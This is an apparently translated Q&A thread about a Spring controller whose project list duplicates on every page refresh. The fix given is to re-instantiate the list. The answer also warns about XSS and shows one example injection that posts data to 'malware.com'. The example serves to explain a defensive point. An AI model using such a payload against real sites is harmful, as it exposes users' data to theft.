Arraylist repeating itself

Asked

Viewed 178 times

1

I have an array that whenever I refresh my page, it duplicates. I did some tests to see if it was duplicated in Javascript, but found nothing.

This is the Javascript:

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.0/jquery.min.js"></script>
        <script>

           listaProjetoArr = "";
           listaProjeto = "";


           listaProjeto = "${usuarioBean.listaNomeProjeto}";

            listaProjeto = listaProjeto.replace("[", "");
            listaProjeto = listaProjeto.replace("]", "");
            var listaProjetoArr = listaProjeto.split(",");
            console.log(listaProjetoArr)



            $.each(listaProjetoArr, function(index, value) {


                $("#projeto").append("<option value='"+value+"'>"+value+"</option>");
            });
        </script>

And that’s the controller’s method:

@RequestMapping(value = REDIRECT_PAGE_CADASTRO, method = RequestMethod.GET)
    public ModelAndView viewCadastro(Model model) {

        List<Projeto> listaCompletaProjeto = projetoService.findAll();

        for (Projeto listaProjetos : listaCompletaProjeto) {

            listaNomeProjeto.add(listaProjetos.getProjeto());

        }

        List<Perfil> listaCompletaPerfil = perfilService.findAll();

        for (Perfil listaPerfis : listaCompletaPerfil) {

            listaNomePerfil.add(listaPerfis.getPerfil().toString());
        }

        List<Jornada> listaCompletaJornada = jornadaService.findAll();

        for (Jornada listaJornadas : listaCompletaJornada) {

            listaNomeJornada.add(listaJornadas.getDsJornada().toString());
        }

        usuarioBean = new UsuarioBean(listaNomeProjeto, listaNomePerfil, listaNomeJornada);

        model.addAttribute("usuarioBean", usuarioBean);

        return new ModelAndView(REQUEST_MAPPING_PAGE_CADASTRO);
    }
  • Your controller is marked with @SessionScope? What are his notes? Where and how is the listaNomeProjeto, the listaNomePerfil and the listaNomeJornada?

  • is not annotated with @Sessionscope and the cosings are declared as private List<String> listNomeProject = new Arraylist<String>(); Private List<String> listNomePerfil = new Arraylist<String>(); private List<String> listNomeJornada = new Arraylist<String>();

  • Probably the listaNomePerfil is global, you have to put its instance within the method

  • then more I’m instantiating everything by Bean

  • I recommend you post then your full controller class.

1 answer

3


I suppose your controller has a field like this:

private List<String> listaNomeProjeto;

And that it has been initialized properly somewhere. When you call the method viewCadastro(Model model) to render your JSF page, it does this:

    List<Projeto> listaCompletaProjeto = projetoService.findAll();

    for (Projeto listaProjetos : listaCompletaProjeto) {

        listaNomeProjeto.add(listaProjetos.getProjeto());

    }

In this code, you adds all project names to the list. JSF will render the page and the list will be there.

When you press F5, the method viewCadastro(Model model) will be called again and you will add the elements in the list again, however without having removed the previous elements that were there, and with this will end up duplicating.

The solution is to do this:

    List<Projeto> listaCompletaProjeto = projetoService.findAll();
    listaNomeProjeto = new ArrayList<>(listaCompletaProjeto.size());
    for (Projeto listaProjetos : listaCompletaProjeto) {
        listaNomeProjeto.add(listaProjetos.getProjeto());
    }

Or, you can use Java 8 streams:

    List<Projeto> listaCompletaProjeto = projetoService.findAll();
    listaNomeProjeto = listaCompletaProjeto.stream().map(Projeto::getProjeto).collect(Collectors.toList());

Also, be careful with the XSS. If the name of any of the projects can be manipulated by some malicious user, you will have problems if any user creates a project with that name or similar:

x]"; $.post('http://malware.com/upload', informacaoMuitoSecreta); //

Once this will make your Javascript look like this:

listaProjeto = "[Projeto do Pedro,Projeto da Maria,x]"; $.post('http://malware.com/upload', informacaoMuitoSecreta); //,Projeto do Zé]";

And the result is that the malicious user could inject snippets of Javascript to be executed by other users and thereby cause some damage or steal some information.

Browser other questions tagged

You are not signed in. Login or sign up in order to post.